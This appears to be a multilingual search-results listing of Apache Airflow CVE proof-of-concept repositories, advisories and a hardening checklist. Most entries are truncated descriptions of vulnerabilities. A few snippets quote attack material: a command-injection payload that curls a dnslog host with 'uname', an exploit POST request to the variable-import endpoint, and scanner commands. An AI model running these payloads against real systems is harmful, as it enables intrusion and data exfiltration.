2062 matches found
CVE-2023-22884-Airflow-SQLi
Apache Airflow SQL 인젝션 PoC CVE-2023-22884 CVE-2023-22884에 대한 PoC는 Apache Airflow 2.4.0 이전 버전에 영향을 미치는 RCE 취약점입니다. 공식 보고서 설명은 다음과 같습니다: Improper Neutralization of Special Elements used in a Command 'Command Injection' vulnerability in Apache Software Foundation Apache Airflow, Apache Software...
CVE-2025-69219
CVE-2025-69219 — Apache Airflow Providers HTTP における安全でない Pickle 逆シリアル化による RCE 深刻度: 高 CVSS 3.1: 8.8 ベクトル: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CWE: CWE-913 — 動的に管理されるコードリソースの不適切な制御 影響を受けるバージョン: apache-airflow-providers-http = 5.1.0, 修正バージョン: apache-airflow-providers-http == 6.0.0 パッチ:...
CVE-2022-40127-Airflow-RCE
Apache Airflow Apache AirflowのExample Dagsの脆弱性により、UIアクセスを持ちDAGをトリガーできる攻撃者が、手動で提供されたrunidパラメータを介して任意のコマンドを実行できます。この問題はApache Airflowのバージョン2.4.0未満に影響します。 このリポジトリは、vsocietyブログで公開されているCVE分析ブログ記事のために作成されました。 https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09d...
PoC-for-CVE-2021-38540-
CVE-2021-38540 개념 증명 중요 구성 요소의 인증 누락 취약점 CVE-2021-38540 이 버그에 대하여: Airflow =2.0.0, =2.0.0, variables 변수 목록 아래에 kafkacaptainhookuser라는 변수를 생성하는 요청을 포함합니다. PoC 소스: root@kitploit: POST /variable/varimport HTTP/2 Host: airflow.example.com User-Agent: Mozilla/5.0 X11; Linux x8664; rv:91.0 Gecko/201001...
CVE-2020-11978
CVE-2020-11978: Apache Airflow 예제 DAG의 원격 코드 실행 정보 설명: 이 취약점은 Airflow의 예제 DAG가 로드될 때 원격 코드 실행RCE을 허용하며, CVE-2020-13927을 통해 잠재적으로 인증 없이도 가능합니다. CVE 크레딧: DtDream 보안의 xuxiang 영향받는 버전: CVE-2020-13927 관련...
airflowscan
airflowscan Checklist and tools for increasing security of Apache Airflow. DISCLAIMER This project NOT AFFILIATED with the Apache Foundation and the Airflow project, and is not endorsed by them. Contents The purpose of this project is provide tools to increase security of Apache Airflow...
airflowscan
airflowscan Apache Airflow의 보안을 강화하기 위한 체크리스트 및 도구입니다. 면책 조항 이 프로젝트는 Apache Foundation 및 Airflow 프로젝트와 제휴 관계가 없으며, 이들로부터 승인받지 않았습니다. 목차 이 프로젝트의 목적은 Apache Airflow 설치의 보안을 강화하는 도구를 제공하는 것입니다. 이 프로젝트는 다음 도구들을 제공합니다: 보안 설정이 강화된 구성 파일 - hardenedairflow.cfg 참조. 기본 설치 보안 강화를 위한 보안 체크리스트 - CHECKLIST.MD...
CVE-2020-11981-PoC
Ejemplo Construir el stand de demostración root@kitploit: docker-compose up -d VM docker-container: 172.18.0.2 Comando PoC root@kitploit: docker build -t scan11981 . docker run -v /tmp/:/output --network exploit -t scan11981 --targets 172.18.0.2:6379 --output /output/result.txt cat /tmp/result.tx...
CVE-2022-40127
CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 PoC 1 examplebashoperator root@kitploit: "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" dnslog 経由 PoC 2...
poc-cve-2025-69219
CVE-2025-69219 Apache Airflow の安全でないデシリアライゼーションによるRCE 1. poc.py をあなたの Airflow dags ディレクトリにコピーします。 2. UI から poc ワークフローをトリガーします。 3. タスクログで実行出力を確認します。...
CVE-2026-25604-PoC
CVE-2026-25604 PoC Apache Airflow の AWS Auth Manager における SAML 認証バイパスに繋がる Host ヘッダーインジェクション 攻撃者は SAML ログインフローに悪意のある Host ヘッダーを注入し、Assertion Consumer Service ACS URL を攻撃者が制御するサーバーに向けさせることができます。これにより、攻撃者は有効な SAML レスポンスを取得 してそれをリプレイし、被害者の Airflow インスタンスに不正アクセス できるようになります。また、アクセス制御が異なる複数の Airflow...
Apache Airflow <=1.10.10 - Remote Code Execution
Apache Airflow versions 1.10.10 and below are vulnerable to remote code/command injection vulnerabilities in one of the example DAGs shipped with Airflow. This could allow any authenticated user to run arbitrary commands as the user running airflow worker/scheduler depending on the executor in us...
CVE-2026-32794
CVE-2026-32794: Apache Airflow Databricks Provider における TLS 証明書検証バイパス キーワード: TLS、証明書検証、MITM、Kubernetes、Databricks、OAuth、CWE-295、Apache Airflow 目次 概要 脆弱性の詳細 技術分析 攻撃チェーン 影響 修復策 タイムライン 参考情報 連絡先 免責事項 概要 apache-airflow-providers-databricks パッケージは、フェデレーショントークン交換中に Kubernetes API サーバーと通信する際、TLS...
CVE-2026-75156
Apache Airflow FAB provider versions 3.7.3 through 3.8.0 do not validate the issuer or audience of Azure AD idtokens during OAuth login. Deployments are affected only when the FAB auth manager is configured with Azure AD as an OAuth provider. Because the signing keys are fetched from Microsoft's...
CVE-2026-45360 vulnerabilities
Vulnerabilities for packages: airflow-core, airflow...
GHSA-VXJ7-4XRP-5VR4 vulnerabilities
Vulnerabilities for packages: airflow...
GHSA-2WXC-X7RJ-HG8F vulnerabilities
Vulnerabilities for packages: airflow...
CVE-2026-59893 vulnerabilities
Vulnerabilities for packages: mycli, airflow, mlflow...